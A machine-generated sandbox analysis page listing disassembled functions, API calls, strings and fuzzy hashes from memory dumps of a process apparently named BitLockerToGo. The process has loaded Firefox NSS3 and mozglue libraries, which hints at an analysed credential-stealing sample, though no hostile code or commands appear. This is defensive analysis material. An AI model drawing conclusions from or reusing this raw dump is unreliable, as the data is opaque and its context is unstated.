Instruction ID: 4699977b83639f93d9fb6e6bcde0517a5143a4c72235f9488583f9cc4dbf3b1a
Opcode Fuzzy Hash: dc7fd72e185d95c47fabb83868b811d09190e51db6fb69bb6a04132f4aba6630
Instruction Fuzzy Hash: F051BFB1A00602AFDB05DF25D884A66B7B8FF19318F444664DC0997E11EB35E8B8CBE5

Function 6C934CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C93AB7F,?,00000000,?), ref: 6C934CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C93AB7F,?,00000000,?), ref: 6C934CC8
TlsGetValue.KERNEL32(?,6C93AB7F,?,00000000,?), ref: 6C934CE0
EnterCriticalSection.KERNEL32(?,?,6C93AB7F,?,00000000,?), ref: 6C934CF4
PL_HashTableLookup.NSS3(?,?,?,6C93AB7F,?,00000000,?), ref: 6C934D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C934D10

Part of subcall function 6C9BDD70: TlsGetValue.KERNEL32 ref: 6C9BDD8C
Part of subcall function 6C9BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C9BDDB4

PR_Now.NSS3(?,00000000,?), ref: 6C934D26

Part of subcall function 6C9D9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CA20A27), ref: 6C9D9DC6
Part of subcall function 6C9D9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CA20A27), ref: 6C9D9DD1
Part of subcall function 6C9D9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C9D9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C934D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C934DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C934E02

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 7372963e0a98586a839d80cd84effa52dbbb63c947728711b41028172f913175
Instruction ID: a9fbf668a7fdc7bac6c5bbabc2ad9117ce066c0013af967b548e04412f4fde8c
Opcode Fuzzy Hash: 7372963e0a98586a839d80cd84effa52dbbb63c947728711b41028172f913175
Instruction Fuzzy Hash: 4B41C9B6A00211ABDB01AF24EC40A667BB8FF2521DF065170EC1C87B15FB36E954CBE1

Function 6C912E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C912CDA,?,00000000), ref: 6C912E1E

Part of subcall function 6C96FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C919003,?), ref: 6C96FD91
Part of subcall function 6C96FD80: PORT_Alloc_Util.NSS3(A4686C97,?), ref: 6C96FDA2
Part of subcall function 6C96FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C97,?,?), ref: 6C96FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C912E33

Part of subcall function 6C96FD80: free.MOZGLUE(00000000,?,?), ref: 6C96FDD1

TlsGetValue.KERNEL32 ref: 6C912E4E
EnterCriticalSection.KERNEL32(?), ref: 6C912E5E
PL_HashTableLookup.NSS3(?), ref: 6C912E71
PL_HashTableRemove.NSS3(?), ref: 6C912E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C912E96
PR_Unlock.NSS3 ref: 6C912EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C912EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C912EC5

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 8f7c19fc7ed2009efc96b8c8be540d205742e64d37b9773285b320a4672445c7
Instruction ID: d3a893ca1fb643a06ea0fa08400a0f8b3d80b9ec1c1866ac06d97d8e599c83c8
Opcode Fuzzy Hash: 8f7c19fc7ed2009efc96b8c8be540d205742e64d37b9773285b320a4672445c7
Instruction Fuzzy Hash: A5210A76A04216A7EF056F25DC0EA9B3B78EB6234DF044134ED1892B11F732D96AC6B1

Function 6C89CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C89B999), ref: 6C89CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C89B999), ref: 6C89D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C89B999), ref: 6C89D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C89B999), ref: 6C9E972B

Strings

%s at line %d of [%.10s], xrefs: 6C89CFEC, 6C89D018, 6C89D029, 6C89D03F, 6C9E978B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C89CFDD, 6C89D00E, 6C89D022, 6C89D033, 6C9E9780
database corruption, xrefs: 6C89CFE7, 6C89D013, 6C89D028, 6C89D039, 6C89D03E, 6C9E9786

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 7673f239a79608083ac232c3afbe77a7281a5ebb7a901bef9475dab5a697d7c8
Instruction ID: 8976caadc8cf035b9d32e1795f007ce713374d2fcd4a56174965a6deb4a127f4
Opcode Fuzzy Hash: 7673f239a79608083ac232c3afbe77a7281a5ebb7a901bef9475dab5a697d7c8
Instruction Fuzzy Hash: B6612671A042209FD3208F2DC840BA6B7F5EF55318F6886ADE4499BB42E377D947C7A1

Function 6C95CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C95CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C95CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C95D079

Part of subcall function 6C9BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C9BC2BF

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 6de6311a579f46de05a6e335d77280263014ee410bc74b767d1f31bd4140fb9d
Instruction ID: ac293403935b42aad31ccf1ac4dd2c22d212e8b8223ec2ee4e07b6781262a498
Opcode Fuzzy Hash: 6de6311a579f46de05a6e335d77280263014ee410bc74b767d1f31bd4140fb9d
Instruction Fuzzy Hash: 48C17FB5A002199BDB10DF24CC80BDAB7B8BF58318F5441A8E94CA7741E775EEA5CF90

Function 6C849D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C848273), ref: 6C849D65
free.MOZGLUE(6C848273,?), ref: 6C849D7C
free.MOZGLUE(?,?), ref: 6C849D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C849E0F
free.MOZGLUE(6C84946B,?,?), ref: 6C849E24
free.MOZGLUE(?,?,?), ref: 6C849E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C849EC8
free.MOZGLUE(6C84946B,?,?,?), ref: 6C849EDF
free.MOZGLUE(?,?,?,?), ref: 6C849EF5

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: a1260c633bea4c0d1dbb884e7fb64d2e4c960c991dfc50227bd25e31b24b17ed
Instruction ID: 10824e066cacae98cca4415f3281c30d66be9a483d6d33f71c551ec4f8d30fbd
Opcode Fuzzy Hash: a1260c633bea4c0d1dbb884e7fb64d2e4c960c991dfc50227bd25e31b24b17ed
Instruction Fuzzy Hash: AB7190B0909B458BD722CF18C64095BF7F4FF99315B449A29E85A5BB01EB30E8C5CB81

Function 6C912C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(D7D7AACF), ref: 6C912C5D

Part of subcall function 6C970D30: calloc.MOZGLUE ref: 6C970D50
Part of subcall function 6C970D30: TlsGetValue.KERNEL32 ref: 6C970D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C912C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C912CE0

Part of subcall function 6C912E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C912CDA,?,00000000), ref: 6C912E1E
Part of subcall function 6C912E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C912E33
Part of subcall function 6C912E00: TlsGetValue.KERNEL32 ref: 6C912E4E
Part of subcall function 6C912E00: EnterCriticalSection.KERNEL32(?), ref: 6C912E5E
Part of subcall function 6C912E00: PL_HashTableLookup.NSS3(?), ref: 6C912E71
Part of subcall function 6C912E00: PL_HashTableRemove.NSS3(?), ref: 6C912E84
Part of subcall function 6C912E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C912E96
Part of subcall function 6C912E00: PR_Unlock.NSS3 ref: 6C912EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C912D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C912D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C912D3F
free.MOZGLUE(00000000), ref: 6C912D73
CERT_DestroyCertificate.NSS3(?), ref: 6C912DB8
free.MOZGLUE ref: 6C912DC8

Part of subcall function 6C913E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C913EC2
Part of subcall function 6C913E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C913ED6
Part of subcall function 6C913E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C913EEE
Part of subcall function 6C913E60: PR_CallOnce.NSS3(6CA72AA4,6C9712D0), ref: 6C913F02
Part of subcall function 6C913E60: PL_FreeArenaPool.NSS3 ref: 6C913F14
Part of subcall function 6C913E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C913F27

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 23394742b1ddc3d8f0822e38784ed0dd63c1f938f99153aac0d1a5e9291d30d3
Instruction ID: 548fd1353db6b1ce2c53b5492ca9ef6042a47c869e22a28080b685b04bdbd353
Opcode Fuzzy Hash: 23394742b1ddc3d8f0822e38784ed0dd63c1f938f99153aac0d1a5e9291d30d3
Instruction Fuzzy Hash: 9F5103756187199BEB00EF25CC46B5B77E9EFA5308F15042CEC5583A50E731E815CB92

Function 6C84DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C84DDCF

Part of subcall function 6C82FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C82FA4B

Part of subcall function 6C8490E0: free.MOZGLUE(?,00000000,?,?,6C84DEDB), ref: 6C8490FF
Part of subcall function 6C8490E0: free.MOZGLUE(?,00000000,?,?,6C84DEDB), ref: 6C849108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C84DE0D
free.MOZGLUE(00000000), ref: 6C84DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C84DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C84DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C84DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C83DEFD,?,6C804A68), ref: 6C84DF32

Part of subcall function 6C84DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C84DB86
Part of subcall function 6C84DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C84DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C83DEFD,?,6C804A68), ref: 6C84DF65
free.MOZGLUE(?), ref: 6C84DF80

Part of subcall function 6C815E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C815EDB
Part of subcall function 6C815E90: memset.VCRUNTIME140(6C857765,000000E5,55CCCCCC), ref: 6C815F27
Part of subcall function 6C815E90: LeaveCriticalSection.KERNEL32(?), ref: 6C815FB2

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 1789f98afba99b9dbb6a79318dea9c97cb891e5f8b195ddf0cad116e95aad6a6
Instruction ID: 65c5d158e8a329585fe3c6985b64cf423522e8eb08aaf3224941f696d5739ea3
Opcode Fuzzy Hash: 1789f98afba99b9dbb6a79318dea9c97cb891e5f8b195ddf0cad116e95aad6a6
Instruction Fuzzy Hash: FB51D9726017199BD7318B18CA846AEB3B2BF91308F958D2ED41A53F01D731F859CBD2

Function 6C82CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C7F31A7), ref: 6C82CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C82CFA4, 6C82CFB8
<jemalloc>, xrefs: 6C82CF9F, 6C82CFB3

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 46f157891ab0e1ce19ac086bf8f40401516e40b046e92fcc04c97f09d2d60350
Instruction ID: 8c31b2e199f2514a380b30eb06fd54b1a8761329cc082a4e8c3145be9c9b6a03
Opcode Fuzzy Hash: 46f157891ab0e1ce19ac086bf8f40401516e40b046e92fcc04c97f09d2d60350
Instruction Fuzzy Hash: 0131E8317402155BFB30AEA5CE4DBBE7776AB41758F204825F514AB781E7B4D440C7E1

Function 6C974DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C97536F,00000022,?,?,00000000,?), ref: 6C974E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C974F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C974F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C974FAE
free.MOZGLUE(?), ref: 6C974FC8

Strings

%s=%c%s%c, xrefs: 6C974FA9
%s=%s, xrefs: 6C974F89

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: 06b68da89e5c9bc641eae43ee4d298f4f31e5ef7b32fb206196150e96848f41c
Instruction ID: 746d9f6984fd44f3f0d3c038e1961e1c84a58dddbca67e564749843dccf2812f
Opcode Fuzzy Hash: 06b68da89e5c9bc641eae43ee4d298f4f31e5ef7b32fb206196150e96848f41c
Instruction Fuzzy Hash: 56513B31A071458BEB21CA6E88507FF7BF9AF46318F188125E894A7A43D335C9558FF1

Function 6C7FECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7FF100: LoadLibraryW.KERNEL32(shell32,?,6C86D020), ref: 6C7FF122
Part of subcall function 6C7FF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C7FF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C7FED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7FEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C7FEDCC
CreateFileW.KERNEL32 ref: 6C7FEE08
free.MOZGLUE(00000000), ref: 6C7FEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C7FEE32

Part of subcall function 6C7FEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C7FEBB5
Part of subcall function 6C7FEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C82D7F3), ref: 6C7FEBC3
Part of subcall function 6C7FEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C82D7F3), ref: 6C7FEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C7FEDC1

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 1bda5ead5e3546e47a3211d511f4cae4c7c103064c1e86e50c99d1680adae32a
Instruction ID: c0c9fd5bce23105c16e954ae967b9da540c35ebcf17d9a01a590f1f0a98e862b
Opcode Fuzzy Hash: 1bda5ead5e3546e47a3211d511f4cae4c7c103064c1e86e50c99d1680adae32a
Instruction Fuzzy Hash: 6051F471D053088FEB10DF68DA896EEB7B5AF49318F04883DE86167B40E7306949C7E2

Function 6C928CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C93124D,00000001), ref: 6C928D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C93124D,00000001), ref: 6C928D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C93124D,00000001), ref: 6C928D73
PR_Unlock.NSS3(?,?,?,?,?,6C93124D,00000001), ref: 6C928D8C

Part of subcall function 6C9BDD70: TlsGetValue.KERNEL32 ref: 6C9BDD8C
Part of subcall function 6C9BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C9BDDB4

PR_Unlock.NSS3(?,?,?,?,?,6C93124D,00000001), ref: 6C928DBA

Strings

KRAM, xrefs: 6C928D3E
KRAM, xrefs: 6C928CF9

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 6398f6f674b4fd6186b6cf40cc4b60e89468192323376e338ecb98a9db47d224
Instruction ID: 38aedb47cde83a346c67db1be5bd393e97f4494c9c13d24cc567ba5ef7809047
Opcode Fuzzy Hash: 6398f6f674b4fd6186b6cf40cc4b60e89468192323376e338ecb98a9db47d224
Instruction Fuzzy Hash: 0C2191B6A147018FCB08EF38C48456AB7F4FF55308F15896AD9C887709D738D846CB95

Function 6CA20ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CA20EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CA20EFA

Part of subcall function 6C90AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C90AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA20F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA20F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA20F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA20F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CA20ED9, 6CA20EE5, 6CA20F06, 6CA20F0B
Aborting, xrefs: 6CA20EB3

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
